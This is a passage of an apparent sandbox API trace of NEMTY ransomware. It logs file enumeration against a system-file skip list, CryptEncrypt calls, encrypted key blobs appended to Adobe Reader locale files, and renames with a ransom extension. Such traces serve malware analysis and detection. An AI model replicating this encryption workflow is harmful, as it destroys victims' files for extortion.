lpWideCharStr="Spelling.RUM", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.RUM", lpUsedDefaultChar=0x0) returned 12 [0182.696] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0182.696] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.696] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.696] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.RUM", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0182.696] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.RUM", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.RUM", lpUsedDefaultChar=0x0) returned 12 [0182.696] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.696] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.696] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.RUM", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0182.696] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.RUM", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.RUM", lpUsedDefaultChar=0x0) returned 12 [0182.696] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.696] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0182.696] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0182.696] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0182.696] Sleep (dwMilliseconds=0x5) [0182.705] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x208c2cb0, dwHighDateTime=0x1d561e8)) [0182.705] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x208c2cb0, dwHighDateTime=0x1d561e8)) [0182.705] GetLastError () returned 0x12 [0182.705] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0182.705] GetLastError () returned 0x12 [0182.705] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.705] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0182.705] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0182.705] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0182.705] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0182.705] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0182.705] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0182.705] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="+MjPbFU7y2D2q6zu89wcvsry9v8RfZmnTjSabHSiErBMkvLTpQ5i5HGuD3B6ZqwJ\r\n/7bIDOqCITxVHt2Xl6wnyQS31EGlw3qvKrhkWODuk4W1xw6vxs2gPzQMwx1d1RpT\r\nt0DkZS21wRQqicKWrnsZ+Im3Sgb19SVcqhNz5iIZM6tFHNG2zVh0Q0DoPHw0pt68\r\nXRF92laym75YR7eW8OVTrgIk8UFwV8x+/q7Gz24JbEJXZ6q2D18ITlODwlAAVaG3\r\n+reDy3g3gri/zJgc33G9RqqjL7oPyQ13CYcgaUSmSXNry4Edz3/QGvZqsnA7r37p\r\ngqzY86tEZAIA3W4RAWQjNw==\r\n", pcchString=0x653e5dc) returned 1 [0182.706] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0182.706] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0182.706] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0182.706] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0182.706] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0182.706] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0182.706] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\Spelling.RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\spelling.rum"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0182.706] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=10752) returned 1 [0182.706] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2a00) returned 0x6352c48 [0182.706] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.706] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2a00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x2a00, lpOverlapped=0x0) returned 1 [0182.708] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.708] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2a00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x2a00, lpOverlapped=0x0) returned 1 [0182.709] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0182.709] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=10752, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2a00 [0182.709] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0182.709] CloseHandle (hObject=0x2e8) returned 1 [0182.709] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0182.709] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0182.709] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0182.709] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0182.709] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0182.709] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0182.709] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0182.709] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0182.709] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0182.709] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0182.709] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\Spelling.RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\spelling.rum"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\Spelling.RUM._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\spelling.rum._nemty_kgobjgd_")) returned 1 [0182.710] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0182.710] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0182.710] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0182.710] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0182.710] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0182.710] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0182.710] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.710] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0182.710] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f50a880, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Updater.RUM", cAlternateFileName="")) returned 1 [0182.710] lstrcmpiW (lpString1="Updater.RUM", lpString2=".") returned 1 [0182.710] lstrcmpiW (lpString1="Updater.RUM", lpString2="..") returned 1 [0182.710] lstrcmpiW (lpString1="Updater.RUM", lpString2="...") returned 1 [0182.710] lstrcmpiW (lpString1="Updater.RUM", lpString2="windows") returned -1 [0182.710] lstrcmpiW (lpString1="Updater.RUM", lpString2="$RECYCLE.BIN") returned 1 [0182.710] lstrcmpiW (lpString1="Updater.RUM", lpString2="rsa") returned 1 [0182.710] lstrcmpiW (lpString1="Updater.RUM", lpString2="NTDETECT.COM") returned 1 [0182.710] lstrcmpiW (lpString1="Updater.RUM", lpString2="ntldr") returned 1 [0182.710] lstrcmpiW (lpString1="Updater.RUM", lpString2="MSDOS.SYS") returned 1 [0182.710] lstrcmpiW (lpString1="Updater.RUM", lpString2="IO.SYS") returned 1 [0182.710] lstrcmpiW (lpString1="Updater.RUM", lpString2="boot.ini") returned 1 [0182.710] lstrcmpiW (lpString1="Updater.RUM", lpString2="boot.ini") returned 1 [0182.710] lstrcmpiW (lpString1="Updater.RUM", lpString2="AUTOEXEC.BAT") returned 1 [0182.710] lstrcmpiW (lpString1="Updater.RUM", lpString2="ntuser.dat") returned 1 [0182.710] lstrcmpiW (lpString1="Updater.RUM", lpString2="desktop.ini") returned 1 [0182.710] lstrcmpiW (lpString1="Updater.RUM", lpString2="CONFIG.SYS") returned 1 [0182.710] lstrcmpiW (lpString1="Updater.RUM", lpString2="RECYCLER") returned 1 [0182.710] lstrcmpiW (lpString1="Updater.RUM", lpString2="BOOTSECT.BAK") returned 1 [0182.710] lstrcmpiW (lpString1="Updater.RUM", lpString2="bootmgr") returned 1 [0182.710] lstrcmpiW (lpString1="Updater.RUM", lpString2="programdata") returned 1 [0182.710] lstrcmpiW (lpString1="Updater.RUM", lpString2="appdata") returned 1 [0182.710] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.711] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Updater.RUM", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0182.711] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Updater.RUM", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Updater.RUM", lpUsedDefaultChar=0x0) returned 11 [0182.711] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0182.711] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Updater.RUM", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0182.711] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Updater.RUM", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Updater.RUM", lpUsedDefaultChar=0x0) returned 11 [0182.711] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0182.711] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.711] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.711] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Updater.RUM", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0182.711] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Updater.RUM", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Updater.RUM", lpUsedDefaultChar=0x0) returned 11 [0182.711] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.711] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.711] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Updater.RUM", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0182.711] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Updater.RUM", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Updater.RUM", lpUsedDefaultChar=0x0) returned 11 [0182.711] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.711] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0182.711] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0182.711] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0182.711] Sleep (dwMilliseconds=0x5) [0182.721] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x208e8e10, dwHighDateTime=0x1d561e8)) [0182.721] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x208e8e10, dwHighDateTime=0x1d561e8)) [0182.721] GetLastError () returned 0x0 [0182.721] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0182.721] GetLastError () returned 0x0 [0182.721] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.721] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0182.721] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0182.721] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0182.721] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0182.721] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0182.721] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0182.721] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="FU/lsI7Y9A7I8FB6E+nW6A8H0Xj7yic5ou3b219TmF5S3/CPk7HXwq4c+Zn0MVjY\r\nWmx9y/EPnk8X9cMfvOOI8wWCLIEzT8jNsWIX8swEWL77xj8W3xBMCdflitDK+TMw\r\n9OvvJdBzenkwymmRjmirRn+hTMFCjUOh5ilVX4kN4QhTdimfzN1llFEsfouzFjCa\r\nJ6JSzqGxetfaRpDDE46VxgnuCdyqA8129mDXGSeO0LxOgkos0dx5koPyM6vItpE1\r\nFNMBJF2rnIqd/wyl5sdsTASYi9hOujDJgFKCEHu96aGTkv0/s7df61G/94mPZH+j\r\nwQT50Gk8CoPIu/oppfIbvg==\r\n", pcchString=0x653e5dc) returned 1 [0182.721] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0182.721] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0182.721] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0182.721] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0182.721] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0182.721] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0182.722] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\Updater.RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\updater.rum"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0182.722] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=10752) returned 1 [0182.722] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2a00) returned 0x6352c48 [0182.722] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.722] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2a00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x2a00, lpOverlapped=0x0) returned 1 [0182.724] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.724] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2a00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x2a00, lpOverlapped=0x0) returned 1 [0182.724] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0182.724] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=10752, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2a00 [0182.724] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0182.725] CloseHandle (hObject=0x2e8) returned 1 [0182.725] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0182.725] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0182.725] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0182.725] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0182.725] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0182.725] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0182.725] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0182.725] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0182.725] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0182.725] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0182.725] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\Updater.RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\updater.rum"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\Updater.RUM._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\updater.rum._nemty_kgobjgd_")) returned 1 [0182.725] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0182.725] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0182.725] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0182.726] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0182.726] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0182.726] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0182.726] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.726] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0182.726] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83197820, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7200, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Weblink.RUM", cAlternateFileName="")) returned 1 [0182.726] lstrcmpiW (lpString1="Weblink.RUM", lpString2=".") returned 1 [0182.726] lstrcmpiW (lpString1="Weblink.RUM", lpString2="..") returned 1 [0182.726] lstrcmpiW (lpString1="Weblink.RUM", lpString2="...") returned 1 [0182.726] lstrcmpiW (lpString1="Weblink.RUM", lpString2="windows") returned -1 [0182.726] lstrcmpiW (lpString1="Weblink.RUM", lpString2="$RECYCLE.BIN") returned 1 [0182.726] lstrcmpiW (lpString1="Weblink.RUM", lpString2="rsa") returned 1 [0182.726] lstrcmpiW (lpString1="Weblink.RUM", lpString2="NTDETECT.COM") returned 1 [0182.726] lstrcmpiW (lpString1="Weblink.RUM", lpString2="ntldr") returned 1 [0182.726] lstrcmpiW (lpString1="Weblink.RUM", lpString2="MSDOS.SYS") returned 1 [0182.726] lstrcmpiW (lpString1="Weblink.RUM", lpString2="IO.SYS") returned 1 [0182.726] lstrcmpiW (lpString1="Weblink.RUM", lpString2="boot.ini") returned 1 [0182.726] lstrcmpiW (lpString1="Weblink.RUM", lpString2="boot.ini") returned 1 [0182.726] lstrcmpiW (lpString1="Weblink.RUM", lpString2="AUTOEXEC.BAT") returned 1 [0182.726] lstrcmpiW (lpString1="Weblink.RUM", lpString2="ntuser.dat") returned 1 [0182.726] lstrcmpiW (lpString1="Weblink.RUM", lpString2="desktop.ini") returned 1 [0182.726] lstrcmpiW (lpString1="Weblink.RUM", lpString2="CONFIG.SYS") returned 1 [0182.726] lstrcmpiW (lpString1="Weblink.RUM", lpString2="RECYCLER") returned 1 [0182.726] lstrcmpiW (lpString1="Weblink.RUM", lpString2="BOOTSECT.BAK") returned 1 [0182.726] lstrcmpiW (lpString1="Weblink.RUM", lpString2="bootmgr") returned 1 [0182.726] lstrcmpiW (lpString1="Weblink.RUM", lpString2="programdata") returned 1 [0182.726] lstrcmpiW (lpString1="Weblink.RUM", lpString2="appdata") returned 1 [0182.726] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.726] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.RUM", cchWideChar=11, lpMultiByteStr=0x0, 